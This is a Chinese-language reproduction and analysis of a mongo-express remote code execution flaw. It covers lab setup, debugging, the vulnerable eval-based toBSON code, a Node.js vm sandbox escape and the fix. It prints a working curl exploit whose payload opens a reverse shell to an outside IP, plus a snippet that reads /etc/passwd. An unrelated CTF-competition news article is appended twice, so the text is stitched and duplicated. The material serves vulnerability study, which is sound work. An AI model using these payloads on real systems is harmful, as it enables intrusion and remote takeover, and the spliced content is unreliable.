0×1 启动docker服务

阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本。选择以0.49为例进行测试,由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:

  • 搭建MongoDB数据库

docker run –name test -d mongo:3.2

  • 搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:

docker run -d -p 8081:8081 –link test:mongo mongo-express:0.49

查看日志,确认连接成功。

v2-81176e5b98da02da14ec9ee9d1a380e9_720w

0×2 开启nodejs调试选项

这里需要个技巧,如果要调试nodejs 需要在启动的时候加上 –inspect 参数。 在docker启动脚本做以下修改

v2-424ebaaa44f93d3198fb45cf37c19a9b_720w

docker restart 183

利用docker exec -it 183 bash连接docker查看debug服务是否开启

v2-8b6ab75e987b46f8c66e2764eae199a9_720w

如上图中开启9229端口即可。只需要外面主机能够连接访问9229端口就可以利用chrome插件进行调试,可以用frp将端口转发出来,或者利用docker -p 9229:9229参数做处理。

0×3 Chrome DevTools

利用chrome 插件可以实现像调试javascript脚本一样调试nodejs,操作起来也是很方便。

首先下载debug插件

v2-02cdd97a1796b0604330573ecadcbb35_720w

在chrome打开about:inspect chrome devtools在2016年5月就已经支持Nodejs的调试,点击Open dedicated DevTools for Node

v2-3449bb2e8bc7edd0e82768a719d8e114_720w

配置连接地址和端口

v2-26693a5936610c1fc105b33e2c290a37_720w

接下来就像调试js一样了

v2-2b14f87e566423290d010d9af8c7388c_720w

发送一个测试包,该路由分支可以断下,接下来就开始调试本次漏洞了。



curl http://127.0.0.1:8081/checkValid -d ‘document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“bash -i >& /dev/tcp/192.168.43.176/8003 0>&1 2>&1″)’

v2-071a06ce22dd4e4034f3a5e0692d7fee_720w

0×03 漏洞调试及原理分析

本次调试的漏洞原理比较简单,核心漏洞是命令拼接,这是一种最简单的漏洞形式,但是利用起来需要点功夫,因为需要绕过沙箱VM,好在nodejs的vm绕过有过研究基础。多的不说,直接看最后的漏洞代码

v2-d1694e7730e92080c841a2bab8bf19be_720w

string为toBSON的参数,在MongoDB中BSON是一种常见的数据格式,与JSON是近亲,但是和JSON的数据格式有很多区别,而然在mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。

例如下面操作

v2-4858e87fd1cff8dbdfe78a208267ea1f_720w

当代码流程走到bson.toBSON时会触发eval函数,因为nodejs可以作为后端语言所以该eval函数是在服务器端运行,可以造成命令注入,对系统产生危害。



exp.checkValid = function (req, res) {
var doc = req.body.document;
try {
bson
.toBSON(doc);
} catch (err) {
console
.error(err);
return res.send(‘Invalid’);
}

res.send(‘Valid’);
};


exports.toBSON = function (string) {
var sandbox = exports.getSandbox();

string = string.replace(/ISODate\(/g, ‘new ISODate(‘);
string
= string.replace(/Binary\((“[^"]+”),/g, ‘Binary(new Buffer($1, “base64″),’);

vm.runInNewContext(‘doc = eval((‘ + string + ‘));’, sandbox);

return sandbox.doc;
};

由代码溯源分析得到,toBSON的参数string是req.body中的document,因此这一部分我们可控。可以发现vm.runInNewContext函数,这是一个虚拟沙箱。因此们下一节分析怎么绕过沙箱防护。

0×04 nodejs 沙箱绕过

沙箱是一个能够安全执行不受信任的代码,且不影响外部实际代码的独立环境。在沙箱里代码执行往往会被限制。VM模块提供在VM虚拟机上下文中编译运行代码的API。使用VM模块可以在沙箱环境中运行代码。运行的代码使用不同的V8上下文,也就是它的全局变量不同于其他代码。但是沙箱里的代码仍然可以访问Node进程。我们经常使用该方法去绕过。

0×1 现象

vm.js



“use strict”;
const vm = require(“vm”);
const xyz = vm.runInNewContext(`this.constructor.constructor(‘return this.process.env’)()`);
console
.log(xyz);

v2-7013f5b14fa21bef121ce68aa90b849b_720w

可以看到this.process.env获取到了nodejs进程的信息,这说明完全可以切回主程序去执行系统命令。

0×2 解释

在javascript中this指向它所属的对象,所以我们使用它时就已经指向了一个VM上下文之外的对象。那么访问this的 .constructor 就返回 Object Constructor ,访问 Object Constructor 的 .constructor 返回 Function constructor 。 Function constructor 就像javascript里的最高函数它允许全局访问。Function constructor允许从字符串生成函数,从而执行任意代码。所以我们可以利用它返回主进程。之后我们就能用它来访问主进程,然后进行RCE。



“use strict”;
const vm = require(“vm”);
const xyz = vm.runInNewContext(`const process = this.constructor.constructor(‘return this.process’)();
process.mainModule.require(‘child_process’).execSync(‘cat /etc/passwd’).toString()
`);
console
.log(xyz);

同理vm2 函数也可以绕过,这里还是参照原文进行学习吧 https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

0×05 漏洞修补

v2-8704199e20f5a9f9cbffaef48e595d8c_720w

v2-57e7dcadca92c35176b046dbb22612b2_720w

这里放两个图可以说明一切,利用mongo-query-parser 去解析BSON数据,直接从根源替换。

0×06 参考文献

https://segmentfault.com/a/1190000011951679

https://nodejs.org/en/docs/guides/debugging-getting-started/

https://mntn0x.github.io/2020/01/08/mongo-express-RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/#mongo-amp-amp-mongo-express

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

2018年3月31日,首届由方滨兴院士指导,广州大学网络空间先进技术研究院牵头,美国诺励集团、湖南合天智汇信息技术有限公司、丁牛科技、北京邮电大学网络空间安全学院等多方共同推动的方班—诺励网络安全中美友谊对抗赛于北京时间20183318:00(美国当地时间33017:00)顺利开赛。

1.pngTIM图片20180403142732.jpg

  本次中方方班参赛选手是由2018CTF集训冬令营参训学员组成,包括广州大学、北京邮电大学等高校的学生;美方参赛选手是由Southern Utah UniversityEastern New Mexico University两所高校的代表队参赛,比赛之前双方在方滨兴院士的指导下通过视频电视电话会议,进行了比赛相关事宜的确定。一场跨越了大半个地球的国际友谊赛一触即发。

2.png

本次竞赛由湖南合天智汇信息技术有限公司提供技术支持合天智汇非常重视本次方班——诺励中美友谊对抗赛,比赛当天,合天智汇技术总监亲自坐镇,同时由竞赛平台、系统运维、题目组负责人全程监测,以保障本场比赛的顺利进行。

3.png

本次竞赛为CTF线上赛模式比赛一开始先放出了部分的PWN题和Web题大家立即进入战斗状态,纷纷投入到激烈的赛事中去比赛开始前3小时,双方队伍比分相差无几,大家似乎都在探索出题人的思路及方式;随后平台又陆续放出了Reverse、MISC、Crypto和更多的Web类型的题目,战队里的讨论也越来越热烈在后来1个半小时紧张激烈的比拼中,分数渐渐显现并且拉开距离,此时,美方参赛队伍分数略高。

4.png

比赛最后30分钟,从赛事屏幕图中能明显感觉到竞技氛围变得更加紧张起来,为赢取最后的胜利,大家集中精神争分夺秒,最后由中方队伍–北京邮电大学拔得头筹。

5.png

向取得优异成绩的团队表示祝贺!同时也希双方队员们能够继续发扬不断钻研、拼搏、勇往直前的精神,多多参与同类型友谊赛的比拼,争取再创佳绩!

 

合天智汇为能成为此次方班–诺励网络安全对抗赛技术支撑单位倍感荣幸,目前,合天智汇已成功为国家网信办、中国网络空间安全协会、国家互联网应急中心等职能部门与机构组织的“XP靶场挑战赛”、“强网杯”网络安全挑战赛、“2016中国网络安全技术对抗赛”、“XNUCA全国高校网安联赛”、“湖湘杯网络安全技能大赛”与“网安中国行演武厅网安技能赛”等全国性赛事提供支撑。合天智汇旗下合天网安竞赛系统秉承“以赛促训”的人才培养理念,支持CTF、靶场渗透、攻防对抗等网安竞赛模式,支持线上、线下,个人、团队多种比赛形式组合,合天智汇将一如既往为各类网络安全比赛提供技术支持。

2018年3月31日,首届由方滨兴院士指导,广州大学网络空间先进技术研究院牵头,美国诺励集团、湖南合天智汇信息技术有限公司、丁牛科技、北京邮电大学网络空间安全学院等多方共同推动的方班—诺励网络安全中美友谊对抗赛于北京时间20183318:00(美国当地时间33017:00)顺利开赛。

1.pngTIM图片20180403142732.jpg

  本次中方方班参赛选手是由2018CTF集训冬令营参训学员组成,包括广州大学、北京邮电大学等高校的学生;美方参赛选手是由Southern Utah UniversityEastern New Mexico University两所高校的代表队参赛,比赛之前双方在方滨兴院士的指导下通过视频电视电话会议,进行了比赛相关事宜的确定。一场跨越了大半个地球的国际友谊赛一触即发。

2.png

本次竞赛由湖南合天智汇信息技术有限公司提供技术支持合天智汇非常重视本次方班——诺励中美友谊对抗赛,比赛当天,合天智汇技术总监亲自坐镇,同时由竞赛平台、系统运维、题目组负责人全程监测,以保障本场比赛的顺利进行。

3.png

本次竞赛为CTF线上赛模式比赛一开始先放出了部分的PWN题和Web题大家立即进入战斗状态,纷纷投入到激烈的赛事中去比赛开始前3小时,双方队伍比分相差无几,大家似乎都在探索出题人的思路及方式;随后平台又陆续放出了Reverse、MISC、Crypto和更多的Web类型的题目,战队里的讨论也越来越热烈在后来1个半小时紧张激烈的比拼中,分数渐渐显现并且拉开距离,此时,美方参赛队伍分数略高。

4.png

比赛最后30分钟,从赛事屏幕图中能明显感觉到竞技氛围变得更加紧张起来,为赢取最后的胜利,大家集中精神争分夺秒,最后由中方队伍–北京邮电大学拔得头筹。

5.png

向取得优异成绩的团队表示祝贺!同时也希双方队员们能够继续发扬不断钻研、拼搏、勇往直前的精神,多多参与同类型友谊赛的比拼,争取再创佳绩!

 

合天智汇为能成为此次方班–诺励网络安全对抗赛技术支撑单位倍感荣幸,目前,合天智汇已成功为国家网信办、中国网络空间安全协会、国家互联网应急中心等职能部门与机构组织的“XP靶场挑战赛”、“强网杯”网络安全挑战赛、“2016中国网络安全技术对抗赛”、“XNUCA全国高校网安联赛”、“湖湘杯网络安全技能大赛”与“网安中国行演武厅网安技能赛”等全国性赛事提供支撑。合天智汇旗下合天网安竞赛系统秉承“以赛促训”的人才培养理念,支持CTF、靶场渗透、攻防对抗等网安竞赛模式,支持线上、线下,个人、团队多种比赛形式组合,合天智汇将一如既往为各类网络安全比赛提供技术支持。